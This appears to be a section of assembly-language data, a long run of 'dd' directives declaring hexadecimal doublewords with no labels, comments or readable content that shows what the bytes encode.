dd 6BAC0378h, 0D125D228h, 1F306200h, 0A9AAA275h, 19D760E9h
dd 64BB94EDh, 7C974802h, 0E89E7357h, 90DCB62Ch, 265FFE30h
dd 80102682h, 5EC71B48h, 209AB49Ch, 870FCB00h, 0C64AC21Eh
dd 9B620706h, 0DA2A8D12h, 0E8B67820h, 77EF9E05h, 0D85F13E5h
dd 0E8A5A64Ah, 0C6538C80h, 92CADAh, 971D1083h, 0F87B4B86h
dd 1BDAA01h, 412EED88h, 5BE3C0h, 0A24270F2h, 3C046749h
dd 0D8004CE8h, 0B0A314F3h, 7F3A47BCh, 0A859588Fh, 50513C00h
dd 0CA8B0865h, 913B4E03h, 132DD34h, 5E1B1A21h, 20DA7E39h
dd 0EF49359Ah, 0DE3B84h, 5CF99C45h, 3B21C3CDh, 7CBE4FDAh
dd 0E6B1F280h, 0C7EDD5FEh, 95A0509Ah, 0B000C51Fh, 847E3827h
dd 5940977Dh, 8F89AC59h, 82BE8F02h, 0A16BDC68h, 78FB5B02h
dd 80C53EFFh, 0E61CFB4h, 0B9AF685h, 2F99C9E4h, 0F11C6827h
dd 6041B7A4h, 0FD240B48h, 0AC8EFCB9h, 914B2BE1h, 1877C234h
dd 1399D209h, 0E1C80E86h, 7B3D5600h, 987831C1h, 0B33A71BEh
dd 61E500CCh, 0AE27C48Bh, 9050AC00h, 51B11938h, 4A634830h
dd 4244D201h, 202C355Dh, 473FBF0Bh, 0E2048297h, 60F79168h
dd 0C3148Ah, 45B84222h, 0CC3EBCC2h, 0C8625300h, 1E40A316h
dd 0EE78002Ah, 304D4723h, 2C609C13h, 55AC1C11h, 4B7B00B2h
dd 9E7ACEE5h, 78002E81h, 22360DFBh, 0BFD937h, 975C691Dh
dd 0CD44D725h, 0F2FFA500h, 0FB70F659h, 26749286h, 8EA07BE6h
dd 0D3006E1Fh, 0A98ED14Dh, 0CF0BA605h, 0D44029FBh, 7B72B711h
dd 94600122h, 0DA2630AAh, 6BD0895Ch, 0AAC894Fh, 12007CF4h
dd 7B3E0558h, 845A59A0h, 9AFA1900h, 0FC56D0C2h, 9E6D9700h
dd 8CAF7D5h, 0B1460002h, 0AB3DFE2Ah, 0F4E38DDh, 9779DC00h
dd 265A45BCh, 1BCE9EDh, 7230DC2Ah, 0C05467EAh, 0AACA6019h
dd 0D56100D6h, 81C25BDh, 0BE09AE7Bh, 38B3BFh, 0F159AF2Ch
dd 1723004Eh, 20E556BBh, 0D90295A8h, 26F9BC88h, 12C4E5DBh
dd 0DA24908Ch, 68055305h, 6037AB03h, 890F2C80h, 7579009Bh
dd 71A9FC5Bh, 2092F04Ah, 0E83029F8h, 53B2836h, 980D00E6h
dd 65D64E1Ch, 0F9330871h, 92DDD127h, 0B09C8052h, 0E4EA0551h
dd 0EB1C13A9h, 4D9300F2h, 0CEDB3D5h, 34662300h, 0BD0DA045h
dd 603E60D1h, 3A781F38h, 263DA092h, 2F7981C9h, 0A46507Bh
dd 59FC84CCh, 14003CADh, 0F2B96ECh, 64DA2BCh, 0B8280044h
dd 0A533DE97h, 61FE02B4h, 1697395h, 0CC5A98C0h, 0E52B1500h
dd 6FF46C8Eh, 38A46725h, 0A08CC41Dh, 320C40D4h, 888D58C3h
dd 0E0FC44h, 47B75D9Eh, 90BBF336h, 98348200h, 0D609C188h
dd 964E0046h, 6BDCABECh, 0E89217F7h, 1C160A3Dh, 0A131B955h
dd 0C1894EFEh, 0DC41538Bh, 0D0C8EEA0h, 0BCA89D01h, 28C08CDBh
dd 6E622E8Ah, 7B40C02Ch, 0E987CF6Bh, 2432380Fh, 0D6188010h
dd 3C6D52Ah, 30F11A7Fh, 0DC83E1EBh, 96C439D0h, 16F460FBh
dd 7138D00h, 0F710C5E3h, 309A0046h, 0BC9E51E4h, 8A001753h
dd 7A56F48Fh, 0F15816h, 0A86B9466h, 8CDD873Dh, 9FB17003h
dd 0B002A42Ah, 12363ED6h, 0C01590h, 0DBC7867Ch, 79007E0Bh
dd 69825C50h, 1D5A1438h, 80A11A83h, 77C08F42h, 1007664Ah
dd 0A7D070EEh, 0D9BB98D0h, 0F25F779Dh, 16292C50h, 5BA48034h
dd 415576Eh, 600471EDh, 0D2009DB6h, 7AAF25CDh, 59389463h
dd 0DC0138FEh, 82B7B6C3h, 7902F864h, 0BEF6457Fh, 303BDA00h
dd 0BFA27216h, 0E8C100FFh, 2F15D5A8h, 0BD0047B2h, 0CA1EA721h
dd 0C0A089h, 0BE83C6C5h, 0AC97C2AFh, 0D89BC42Ch, 0D35AD904h
dd 87290C80h, 5E4E0720h, 10A12B9Eh, 0C40D7161h, 0B0895C38h
dd 0EFC72914h, 59550044h, 35B98270h, 62001903h, 0A0ABC8E3h
dd 711A53h, 0BD8F6EA6h, 92DB201Dh, 0ECB26B00h, 4842C09Bh
dd 0BA4005Ch, 0F66EA0A7h, 600B2D18h, 80328EACh, 0D663401Fh
dd 0E7E6BBh, 2D7BA217h, 0A0151E35h, 5AC85802h, 6068AFDCh
dd 8434C4h, 0B071F4D7h, 8E45BBE7h, 92A8C667h, 0D5A2ABE0h
dd 0A3E4D0h, 770309B9h, 9C0A82E3h, 0FEC24000h, 55C7AD59h
dd 7164001Ah, 0A7232F3Ch, 0C3780C70h, 0C9909E90h, 0B9EB2917h
dd 0E9AF5502h, 0C7EF8082h, 6ABC8Dh, 0A6B24AF8h, 0AE70DAB1h
dd 0C907551Ch, 0D068F4C0h, 9886526Ah, 0E85C1F78h, 0E5498059h
dd 6706EA0Dh, 0E4035103h, 0F81EBB6Eh, 0FCF8025h, 422F168h
dd 4400DDC9h, 8F209B2Ah, 83000DF6h, 0EBFDF5C1h, 1F49297Bh
dd 40FEF25Dh, 0DECB87CAh, 0A200D702h, 7B8A0323h, 0DC76FCh
dd 97D3B01Ch, 0D832BD14h, 0A9064810h, 0C100033Bh, 0CC4C3F42h
dd 2B73BC9Dh, 3CAC4007h, 0FD10FC24h, 0E2A930Fh, 86057F9Ah
dd 3E578420h, 0BA271D23h, 122C80A1h, 0E6760Eh, 68419E1Bh
dd 2B846BB9h, 30706601h, 0A98C0302h, 0E90D834h, 275188DFh
dd 5B3D5DA0h, 2400E4A0h, 964A9A52h, 0CD560Ah, 5478207h
dd 0DD97D728h, 8061133Dh, 8684017Dh, 50D68ACh, 32C57560h
dd 23F58765h, 0B9B87430h, 7D00AE58h, 0B76FDEDCh, 306AFA0h
dd 2C18374Dh, 0E0CF3B6Bh, 254740FCh, 7F5CF200h, 8B20C19Ch
dd 126100D5h, 0EB9F1596h, 3D00244Eh, 0BCB29737h, 58FD6BC5h
dd 51009781h, 0F9478786h, 391F2255h, 780C8FAh, 85FE8A8Dh
dd 0F3DF0C3Ah, 0FCE8CD66h, 77A439h, 0F525BE11h, 0AD9164h
dd 0CDE01253h, 4330EB1Fh, 11C97F00h, 94B76F2h, 0B97A0037h
dd 0ACBD948Dh, 3CB80BBAh, 68ED8F06h, 115F01h, 7C5E7A26h
dd 0ADCEAF3Dh, 0CD0F55EAh, 0A4F625CFh, 10804728h, 7214D799h
dd 94DF0027h, 70B8415Bh, 0B50BBAF0h, 2F86470Fh, 9DEA60F4h
dd 3AAA410h, 0AEF67FCh, 15F8D60Bh, 0C48D9A5h, 0FA320082h
dd 3BBD7F8h, 15E1F53h, 0CFF4404Dh, 0DE8DF314h, 27764503h
dd 987E6559h, 0C0C27213h, 0BFC45F61h, 8806C03Fh, 6A834114h
dd 0F0350E18h, 4C82C9DEh, 8CE9739Ch, 0F31C4085h, 3AFEDF28h
dd 8043CE0h, 0CD304E2Dh, 0E8C04DC0h, 12E32826h, 773124D5h
dd 0DFA90334h, 38035FBDh, 0AF45695Dh, 0C05800BEh, 5CA46254h
dd 50CA37A1h, 7D643CCAh, 0A0C03428h, 0D8573A08h, 2D7330FFh
dd 3FBEF7D1h, 76C6A840h
dd 97490003h, 0FFF36FA4h, 44011C40h, 0FEAF01BBh, 1A13DDC7h
dd 18ADCB98h, 0E8B83D51h, 0FD18D823h, 1520CA87h, 84BC21h
dd 14C42F3h, 9E00EC3Ah, 3F483413h, 1D7DA2B7h, 4CE7EABCh
dd 0A7909680h, 5F16F8E5h, 6AED3617h, 0DB1B1B03h, 8D93F7Ch
dd 3411D180h, 52682342h, 0D8002DFAh, 0E4A69BDBh, 301B2EBEh
dd 3831BFC3h, 0F30FCBEFh, 0E0CF040Dh, 93C45D59h, 37C7007Ah
dd 9415390Ch, 6A003191h, 26E3C6CFh, 6336E79h, 0C1BF495Ch
dd 0AD00F1B5h, 0F729E685h, 0D504C8h, 3FDEB126h, 0FD6A685Dh
dd 15A86454h, 7BF92760h, 0A2B1AAh, 1F743322h, 6C13BBAFh
dd 0FD3F9D00h, 5B1B94A0h, 834B15h, 0BC412F58h, 5201D08Fh
dd 0DCE304CFh, 6E02430h, 0B4971CC6h, 106EC05Ah, 6B45AECEh
dd 6380E600h, 3916E7A9h, 0A3EA0093h, 76770D6Fh, 173970D6h
dd 66C8FDEh, 0F4E9E4F1h, 404CD5C2h, 7C73DECh, 5A87E673h
dd 0AE5F2089h, 2E4C5E7Fh, 0F34D005Ch, 0BC039B71h, 674F18F8h
dd 84F2203Dh, 0C97982E0h, 7D9B6A3Dh, 3752230Ch, 141064h
dd 0DB99244h, 4BFFCD45h, 8080C66h, 5C750B21h, 7287E193h
dd 0CF348763h, 26027F43h, 0EC7D7874h, 3D1F967Bh, 0DE0058FAh
dd 797FAAFDh, 0CAD1066Ch, 38F1990Eh, 846A4Ch, 5373C58Ch
dd 0E718069Bh, 3563088Ch, 49001C20h, 559E158Ch, 48D673D8h
dd 0B60052CAh, 766C7E3Ch, 0E1FED4F7h, 88AD1700h, 9903A4CDh
dd 3B4D0045h, 0CBDAEBF0h, 1B38782Dh, 0BA170019h, 3C985BF6h
dd 0C0A22C71h, 7F510440h, 83498144h, 0BB833022h, 48182500h
dd 0C7CC9485h, 130900CBh, 0D3D7F50Bh, 891E04F0h, 6080345Dh
dd 110305FBh, 0A0787B41h, 15E7BE1h, 1B744469h, 0D3530C46h
dd 434EE400h, 3815E980h, 0EAE866h, 2ACA4640h, 0FBC6BDA1h
dd 6EE5540Eh, 218D8C84h, 2AC2000Bh, 0E21E4541h, 690E446Ch
dd 8EBC848Eh, 0CF58E788h, 51754E60h, 584060E2h, 0CA27C90Ah
dd 6E07AAFCh, 6D926FBDh, 414B43h, 203EAF20h, 0B947D287h
dd 0FEFA1C00h, 435B32CAh, 0E0080C09h, 0C1807354h, 3618F4FCh
dd 0B7201013h, 6901830Eh, 0DC7AA6EAh, 1180ACC7h, 17FECC60h
dd 0DD0CA5D9h, 84DC1DBh, 207960DCh, 0F9EE7481h, 1F77ED3Dh
dd 550BF701h, 4CD703B5h, 698800FFh, 71D3E8AEh, 3607F7F8h
dd 0FA1B67CCh, 0A0415425h, 0A26732Dh, 2AFF1080h, 4C77E5C1h
dd 33AE5600h, 0E39ED90Ch, 0DF050025h, 0D24FA150h, 670068F0h
dd 593FE235h, 1247A8h, 0D30A4A43h, 1F77C46Bh, 78648F00h
dd 6F1AC39Eh, 0C0B1E4B6h, 956E309Ch, 0E8010BFDh, 7FEA2B2Eh
dd 94C8D990h, 8D140083h, 0B76BCA3Eh, 1E000784h, 0BE2458DAh
dd 5EBC21Ch, 96BC1BB1h, 7374C059h, 91018A69h, 60648D6Ch
dd 0C0E6E1C6h, 6BD6D2h, 0D295C59Fh, 0DC03FC08h, 17A67A00h
dd 32F47781h, 736B00FBh, 4367107h, 0D63A733h, 90E41B18h
dd 0ED79ACA3h, 8521F8h, 0EDA6FFC1h, 0FECBA16Dh, 25DFCC0Fh
dd 2AA503ECh, 0F324B036h, 0CF40009h, 88F53C3Bh, 6F105B1Eh
dd 0A13E1B23h, 501A6C98h, 337C0851h, 8D027601h, 322D9E75h
dd 0B9DEECh, 0F71E5CE2h, 2EE4966Bh, 0DC0414F8h, 0EE8C2631h
dd 0DD98BB81h, 0F09533C4h, 29BB1887h, 3C4B28E1h, 1D893500h
dd 65DD18B1h, 8018C376h, 0D878F036h, 4F453h, 57C8A56Eh
dd 0F132074h, 9C89CCF1h, 0E68042AFh, 0CFBB7375h, 321E8B00h
dd 0B906B49Ah, 704314A1h, 0B10C8C39h, 0A3309E08h, 75F2A9F8h
dd 0C7062476h, 0FC346693h, 7A8D3F38h, 0EAEE831Fh, 0F4021B28h
dd 31A81956h, 99C10BA7h, 251743F1h, 893A982h, 609823E9h
dd 0DA329B70h, 0B71A816h, 1458A60Ch, 2A668C5Ch, 451F9083h
dd 260042F0h, 9B7E3D86h, 797F60DDh, 0DF1BFEDEh, 1C567CA4h
dd 3CA07684h, 0BC18F0FBh, 0B7189323h, 0CCA212A1h, 57104E35h
dd 0A54CC440h, 710A4DDCh, 48FF2DBBh, 78BAA608h, 7666A1A7h
dd 0E9CA3749h, 39969050h, 8346075Bh, 317577ECh, 50065776h
dd 2DF7A5B8h, 187CDD28h, 0A2FF5101h, 2279B52h, 0CFA364D8h
dd 17AC7759h, 30FC0639h, 9B4FF506h, 399F755h, 6B823975h
dd 1000AB23h, 8427E9BDh, 155D7C18h, 84319870h, 71835800h
dd 0A326E64Fh, 0E50C3DF0h, 10A2EF50h, 96FD0461h, 7BDC49Bh
dd 71011F14h, 0DDF0FFE1h, 27B23A19h, 4692134h, 1FE1CDCh
dd 0F470A69Ah, 2A9EC9D0h, 0C6A0C693h, 58F26478h, 10300430h
dd 1097AADBh, 183320BBh, 0CFA14B93h, 22EA0973h, 0BC01DBA8h
dd 50EE69A5h, 29F1F784h, 0E900DFE8h, 0E4349A2Ah, 1D88E0B0h
dd 1996CF72h, 5F9B715Eh, 0BA1D0140h, 9E6A320h, 2F3C7F1Ch
dd 0F62306A8h, 7182443h, 42710372h, 0F56CCF19h, 98327358h
dd 0AC8F3944h, 50E21054h, 8B34BC5Bh, 20E06CB9h, 41C09A44h
dd 3A98C9FBh, 9B330621h, 0B088B3BBh, 0E9421092h, 0CF15075h
dd 1808F509h, 0FD10FE42h, 0B930C30h, 15BA7020h, 4F64814h
dd 0D03823B9h, 0A938804h, 0D410AEh, 2DC7905Fh, 8C19141h
dd 4DF108F9h, 510850B4h, 2E19901Ch, 444F38E7h, 3C204FB0h
dd 605A4D87h, 0EEB0FE26h, 99C62533h, 2811A5D8h, 74911418h
dd 22CC184Ch, 6814CA09h, 20B81909h, 893A6C1Ch, 4C577110h
dd 8104550h, 8A2B260h, 0CC090438h, 390DCB3Eh, 3E81E6CDh
dd 92E68C9h, 9B32C01Ch, 9CAF741h, 988C0C4Fh, 514029FEh
dd 81914872h, 5029DE75h, 322FCD60h, 5ECA00B8h, 0A2106BFCh
dd 0F750A7F5h, 9AA128h, 0B491EC06h, 850818F6h, 5F04C8FCh
dd 0E8F61759h, 0A45E4C5Ch, 168FF6B4h, 728979h, 8CB056C8h
dd 0D328EDC8h, 8101200Dh, 416CCB88h, 0E4324F77h, 8E9CE90Bh
dd 69E0E426h, 0B4FA512Ch, 323810A4h, 0C04B4882h, 0B09A4670h
dd 0B84AF420h, 0C41A3070h, 7CD0261h, 11272D34h, 0A8DE2881h
dd 283BF030h, 9834ACFFh, 9DCE20B4h, 2AC23300h, 1950F675h
dd 2B9B1974h, 0D0060877h, 3B3EF10Eh, 0A27F8B2Dh, 0D910A67Eh
dd 82A00CF9h, 0D3082506h, 5A1293Ch, 0F25120A4h, 25488C59h
dd 77220980h, 0B284D02h, 4F9C6D0Fh, 9A1687FFh, 0B13306A0h
dd 0A0F5001Ch, 0B8290A9Dh, 0E010818h, 0C11E96F4h, 10327C9Fh
dd 39B1502h, 0ECC8F5E9h, 0A9404A24h, 2307053Dh, 8433F65Ah
dd 8A440024h, 0F0A19BCFh, 87A53109h, 0F69C018Bh, 28912720h
dd 6C600229h, 85649B97h, 88015360h, 0A7418D29h, 0B5FDB821h
dd 1661FC30h, 6631235Ah, 5D63E148h, 0F3B82508h, 0D080E4A9h
dd 0F3481B2h, 0A5DCCCF0h, 72FF5440h, 2760984Fh, 0F68CA921h
dd 269C1931h, 447CA1F7h, 18B00AA8h, 0A33B0FACh, 337087FCh
dd 0A5B0B097h, 0E902E358h, 4F731FBBh, 312C4935h, 0B000A85Dh
dd 7812EEAEh, 2C1A7F93h, 8C80F753h, 29F14D51h, 86656205h
dd 0B8289D3Bh, 22F34371h, 9D1307B8h, 4033F415h, 20EF703Eh
dd 0A744FE00h, 0F619D65Ch, 0DB5E017Ah, 2615934Ah, 1B06F433h
dd 14DF98A0h, 0F3A41650h, 80F40F51h, 2ED65D0h, 0E2D9327h
dd 0FFD7AE01h, 0D49B3A81h, 3FD8804Ch, 73271870h, 2B7B01A8h
dd 20D9736h, 0A7A04150h, 0B190346Ah, 0DD7C2816h, 0B8D8204Ah
dd 761CD704h, 1EF7A044h, 74F631F0h, 4508BA15h, 7ED803EEh
dd 29E19A3Ah, 0A5628C18h, 5ED04085h, 44AA499Ah, 0C0EE169h
dd 0C82A6B29h, 408351Ch, 9C333518h, 13687C30h, 0E0878829h
dd 4C8AA378h, 4F0AA410h, 10602446h, 29A719AFh, 74EC7329h
dd 1CDD138Fh, 0E4D8A127h
dd 0A7F60905h, 0FD402166h, 0D9BA04D9h, 827B8A7Eh, 4883D400h
dd 28211C18h, 7F973F4Bh, 0B2802093h, 8890096Eh, 3D581852h
dd 104226FDh, 488B2ABBh, 4428F1E8h, 7D00F03Ah, 0F3459A39h
dd 3C651A5h, 0A18F7BF4h, 0B0063A5Ah, 0A90BACBh, 90787C60h
dd 0A49A01B8h, 7BEFA5FBh, 803FF107h, 74A20279h, 0A8149E31h
dd 51DB5080h, 30C1B0FAh, 36896908h, 8D880CD2h, 75780613h
dd 6883488h, 0A8F69D9Ch, 33003A51h, 69DFED6Dh, 485D097Dh
dd 9815381Ah, 7A0F84F3h, 250A72DCh, 8007448Ch, 51263334h
dd 0A081286Fh, 420A257Bh, 0B91C6717h, 0EE891E9Dh, 0A60FD483h
dd 0A4F61002h, 559BA354h, 41076E86h, 0A2D2C8A0h, 0A9A55E0Ch
dd 671072h, 0B67BD9A1h, 0C0BA43C2h, 7F980850h, 3038688h
dd 300AA076h, 88DDB7D9h, 0CC00F14Ch, 4CC43897h, 783C105h
dd 0AF9DBCD2h, 6151F01Fh, 0E713CFD9h, 0CAC3D24h, 803524h
dd 3456E909h, 0E52888B7h, 0F9009C2Bh, 6DB82267h, 3C6411B4h
dd 0CF09627Dh, 10272133h, 0FD1E48E7h, 821A6E04h, 6C3B9C90h
dd 9979019Dh, 0A0FFFA5Ah, 0D408B94Ah, 726E590h, 0BC00749Dh
dd 5313944Dh, 210D4AD9h, 24A55104h, 0C8A49364h, 84EEC976h
dd 7CADF200h, 26A085CBh, 0BFAC0D0Bh, 0E0A06099h, 215030F1h
dd 77E47CACh, 186D50A1h, 669D040Fh, 32F80299h, 42244Fh
dd 716C967Fh, 12E5003Ch, 0BA7DD9FEh, 4C8033DDh, 0A8538032h
dd 6F6E4000h, 0F6DC14E0h, 121098B1h, 7CE8F62h, 0E054D9F3h
dd 500BE4DAh, 2C80109Eh, 0DDE7C52Ah, 0B8F45Eh, 8D4B3FD4h
dd 838BC330h, 93970094h, 5B2C3020h, 0C2F50005h, 0F19A68B0h
dd 85097CF3h, 87F606BBh, 404F4BDCh, 6C590ADCh, 0D121671Ah
dd 0EEBD801Fh, 77003DA0h, 44014D08h, 9E46C86Bh, 52873EACh
dd 81EA8D73h, 0D679CB7Fh, 96751868h, 2CE77200h, 5A3DE26Eh
dd 0CF454h, 0B50170F4h, 93ED878Bh, 78F2771Eh, 0B91B0EA0h
dd 0A8A0266Bh, 0FD50FEF0h, 0B04407Dh, 4FC0B4F6h, 0ECF05087h
dd 18935D70h, 382E1982h, 800103FAh, 7BB5FF33h, 74720D86h
dd 0C022C112h, 969473A8h, 2677EB7Eh, 38A470Fh, 203A4DF4h
dd 148F9ED4h, 206A6D04h, 0EA252BE0h, 0C5A40986h, 0D090AB9Ch
dd 0B01D27DFh, 0E0458E55h, 0F8304A5Ch, 18B85B1h, 4D077DA0h
dd 70F27503h, 0F60296FCh, 86984F9h, 0D0BCE399h, 0B1EC1924h
dd 49520034h, 50B74737h, 0B1182A07h, 3E462DD8h, 514F0021h
dd 0AED02237h, 313E45Ch, 0D8006963h, 0B525FE81h, 7C0524A1h
dd 0F49D3FF4h, 4070A69Ch, 9BD2A16h, 0E0CF072h, 8598927h
dd 1EE4BAC2h, 0C0A21C20h, 28071E26h, 640C13DEh, 0A8C7A02Ch
dd 1EF43B0h, 0B4163602h, 370C2DE8h, 0EC4A4C88h, 0F2C30399h
dd 8C5BBE6Eh, 38273ED1h, 245A10A4h, 54140600h, 0EE8E74FEh
dd 22CC0E6h, 0FC409C61h, 60BC62A1h, 46DA1106h, 97008F9Ah
dd 7E2D7B1h, 1238E136h, 13B9BC3h, 0A4C9A352h, 79804885h
dd 11BFF68Ch, 84A1F086h, 4B01F7D5h, 0F8C4BD5Fh, 851C2CC5h
dd 943E2AE5h, 80C09252h, 3991ABD1h, 0F4A84861h, 0C47EE200h
dd 4678E45h, 0A405F03Bh, 5728B838h, 78321F0Ch, 3E8171h
dd 2C943F21h, 33667007h, 0C9015C7Bh, 27725AF6h, 0FC34F786h
dd 1632407Ch, 5E553314h, 79D48188h, 802B7DC3h, 2E9B0A1Dh
dd 160C774h, 0C3705E21h, 0EFF40598h, 28DFEF7h, 3044F588h
dd 45604D24h, 0F0230ABDh, 211A1841h, 0BD1C2BB7h, 0DD836BE1h
dd 0E1961EEh, 0F6DB2969h, 0C38D4AE0h, 84070A21h, 1768D727h
dd 759023B9h, 0A9ABE005h, 3442013Dh, 98F62DDDh, 9246E4CDh
dd 7099A100h, 3A518F1Ah, 7BC914B5h, 6300DC84h, 0BB31F1DBh
dd 0FC12494Ah, 6C601FCEh, 1CE89A40h, 41847F0h, 88266196h
dd 0D4AA4E2Ch, 0C11589Dh, 1EAB9583h, 0D62EC10Fh, 9CDA21E5h
dd 5F31316Fh, 0B818C462h, 6B69F4A5h, 4CC7D203h, 5C7992h
dd 20540C21h, 0B3BBDA38h, 71720F14h, 99311B34h, 0FF69C161h
dd 28925040h, 0E9740141h, 7CB8A280h, 3FE82026h, 13AF9A39h
dd 0E0417D93h, 0B0DB8414h, 1BC2060h, 71BE0F24h, 78299D2Dh
dd 8FFF2868h, 0CB7A7877h, 99003FE4h, 0BEB127E9h, 308C14BCh
dd 8740DC0Dh, 6C48F0A3h, 333A0B73h, 0A7508099h, 45CA57Bh
dd 248991EDh, 8550D82Dh, 0B72B3608h, 4134C470h, 3E374D7Bh
dd 82A2F4h, 0BBF94455h, 39979FFDh, 184C43Ah, 67A72061h
dd 30F2F4CDh, 4850BD43h, 0D0911FFEh, 0BD694960h, 0FAB00084h
dd 70C38A1Ch, 1800C00Ah, 348BA09Bh, 228554Eh, 626DB5DCh
dd 0F8C053C3h, 36400446h, 2372CBFh, 1889E404h, 0C1A06FF0h
dd 11BB73E9h, 4F87817h, 88D47D54h, 0B709CF09h, 2F34894h
dd 0E0209C6Eh, 0ECA18CC7h, 0C3FC1950h, 5673210Eh, 0C39F5BC0h
dd 261F050Fh, 20EF585Fh, 65388AB8h, 7755E900h, 0A16A6CDBh
dd 3A3E00B2h, 0A739152Fh, 24945F5Ch, 0E5C187B8h, 0D633CC9h
dd 809990F9h, 0A4D33AC7h, 2000F448h, 63296C94h, 0B52FF665h
dd 42A48FA7h, 0F512A646h, 188A2D09h, 0A72307BCh, 4497F004h
dd 870037A0h, 633D84B2h, 0F664A5h, 209817DAh, 0DF668F15h
dd 566AD10Fh, 68768089h, 2AE06B4h, 901DFEC3h, 94467069h
dd 4F7D8F00h, 578CD29Eh, 111A009Ah, 0FB0C0B64h, 0E0609B72h
dd 69024D29h, 9DBE1FE4h, 66328020h, 0A1913D80h, 36A3600h
dd 94B0BD2h, 1ED30502h, 0A0949C33h, 6D48CD98h, 0D5D20029h
dd 30290148h, 0A37200AAh, 0F1B739FFh, 1B068FE8h, 0BC23CF26h
dd 59150028h, 0FF2213E5h, 0C075AB62h, 0C4ADD600h, 0EE54D141h
dd 315ECDCh, 56F387B4h, 5FEF60F4h, 60671907h, 0F221F8C1h
dd 1236FB00h, 833F55DFh, 244F06CBh, 692E4384h, 3275C500h
dd 318E9A6Fh, 482C3FBDh, 1E08288Eh, 99C710C3h, 0BCE8EAB8h
dd 0ADB3B00h, 3A8D2E54h, 0E7133EC8h, 0A8B14961h, 1100DB55h
dd 2E8BCFC3h, 0E22B8A5h, 3C625E0Bh, 0A8A706C0h, 29C3FA92h
dd 78BA617Ah, 17373C40h, 614649Dh, 196FA067h, 0A2A51C0Ch
dd 7B0169E7h, 8118C02Bh, 0EB764FA4h, 31AD7200h, 0A9990740h
dd 549418A8h, 0D89B30EAh, 80F17000h, 0CE20F3C5h, 0AFA803CCh
dd 2E36D7D4h, 4351029h, 24460F76h, 0A983CD4Dh, 8590FA49h
dd 0B5001E56h, 1DF7E651h, 0D3CBDh, 2D2AB97Ch, 6404906Dh
dd 86181A13h, 0AC8B1400h, 237281h, 0F0C37F30h, 0F65695A5h
dd 353D121Eh, 26292700h, 1EAA1FDEh, 0C5368E32h, 0C0EFC5E3h
dd 23D525FEh, 6653A803h, 0D23A02CBh, 6C49C093h, 0CA2E00D1h
dd 0B8C52A41h, 1E1EC1FCh, 0FD8F944Bh, 0D0376092h, 0E2C6D534h
dd 0CDA70084h, 0EF42B186h, 0F4006EECh, 0CE9A560Ch, 5D2314h
dd 0F612202Eh, 38225218h, 545C7800h, 0AF2862DAh, 0CE1000Bh
dd 51D97612h, 0E00C8F97h, 30891FBAh, 0E1354F05h, 0AC8DD802h
dd 825FBE00h, 0E03D69E6h, 29A90058h, 7A4D6A7Ch, 0B405187Fh
dd 712BA750h, 25AAB440h, 0C06BE25Fh, 570DEF81h, 220E795Dh
dd 0E03ACAE8h, 232F2572h, 1AF27Ch, 0C6C51155h, 0B7806BDFh
dd 10106630h, 124E6743h, 18B0302h, 25A75ADFh, 406980A3h
dd 0E36EC9DEh, 0C43D01FBh, 0BAC8A9C6h, 9A0BFADh, 80D8D713h
dd 8C8E6CA5h, 2AAE1DC4h, 19E10021h, 89B826D1h, 0C9BB8D00h
dd 10932D04h, 0EDB0A0D4h, 601F7669h, 0A6CCC0F7h, 4901ECB6h
dd 0A087880Ah, 92043ADh, 1E3D0024h, 0C4A46C0Bh, 0F1609212h
dd 7AEB47B8h, 0BA5601B7h
dd 649D2E8Eh, 0D601602Dh, 777FE900h, 18058D47h, 39070168h
dd 0A23FE165h, 4DEBD427h, 8800F1E2h, 0E05AD19Dh, 0F2FC05h
dd 398B4FE9h, 0B32CA6A2h, 44689500h, 3FE5856h, 157900CDh
dd 0ED0D65BDh, 0C700C017h, 9832DFA6h, 0E72037h, 8C079281h
dd 7A704DB9h, 72AFFE3Fh, 0D2776D00h, 10DD5D60h, 6E5303E4h
dd 81968CE8h, 0EE91D4C8h, 6CEA0F00h, 0E7F67605h, 70F40018h
dd 4F24FC6Dh, 0CCF8603Fh, 995D1500h, 657FE5F6h, 54D20395h
dd 968AB61Fh, 9FEE46A0h, 0C8CFD624h, 68DD3F00h, 0F01A1C7Ch
dd 39F890h, 6F8F209Ch, 8F3B627h, 6B23E300h, 68D7B90Bh
dd 9D5D28CAh, 99A73C87h, 0AEB7228Ah, 73F000F4h, 0F76CE337h
dd 0FADFAA00h, 69B0658Eh, 0A4910021h, 98E53C41h, 0D600B64Dh
dd 0FE46F7CCh, 833087h, 2AE8D4C0h, 6103E224h, 0BD70A500h
dd 463251C5h, 0A769042Fh, 8121223Ch, 2324E338h, 3B72816Ch
dd 74C01059h, 0C6B600F9h, 0BAAF97D3h, 0B50333D4h, 152ED9C4h
dd 8206F064h, 9FEF00CDh, 13D02B1Ch, 1877871Dh, 497C160Bh
dd 0C8DD8305h, 0B8A60083h, 0CC0341E1h, 3D00CE28h, 4FD27C14h
dd 32CA80h, 0F53C7E5h, 4E6252A5h, 9BFEAA00h, 0D6B18DF2h
dd 6842C9F4h, 14809F00h, 0F60C3C7Dh, 0D82CB04Bh, 2EAF206Ah
dd 0CDDEF503h, 0D8BB5C61h, 4C6D907Eh, 1E004783h, 6BE9F27h
dd 581C3AD8h, 89408B35h, 0BF0D9CC9h, 74E800B0h, 0CA834B21h
dd 8C01FEA2h, 0D443615Ch, 0E02B6EA3h, 12EA1887h, 1E3CC403h
dd 0F3B5D3F1h, 2E5CC8B7h, 0BCB33D65h, 83CC7B00h, 0DAAA8DEFh
dd 3E59C48h, 9FF5B2B0h, 89D0CF05h, 199CA11h, 5CF034A4h
dd 474FD723h, 0A955A0F0h, 103742Bh, 101A3862h, 77290364h
dd 0D3518FB1h, 89B01698h, 0F5B9800h, 0D652B52Fh, 83981Eh
dd 0CEA80A2Ah, 14B2D5CDh, 60B99F00h, 2B23BDEAh, 660F01DAh
dd 0D036C8C0h, 202860CEh, 0C14D5800h, 9D39B48Dh, 63440006h
dd 6F87A59Ah, 0A2008C9Bh, 108A92E9h, 722A898Dh, 6D27894h
dd 0C447E64Fh, 972EA021h, 5E0073A1h, 59303C26h, 634C0051h
dd 0EAD08955h, 6A002799h, 0E19634DFh, 520835h, 2EA42839h
dd 0AB318211h, 6DECBFEEh, 0A4D359h, 7CA44EE8h, 4C2B0975h
dd 0BD0024B5h, 90E3FFF5h, 0C500D0DBh, 18D55CA1h, 3A2C733Bh
dd 0D808212h, 74ACF470h, 543EA681h, 9BE0000Bh, 3F28C57Ch
dd 68E200B6h, 218498BDh, 0BE096DECh, 20306F5Dh, 904F4E24h
dd 757000D1h, 0AC35643Ch, 8703C071h, 0C7BBC10Ch, 0BFFCC3A7h
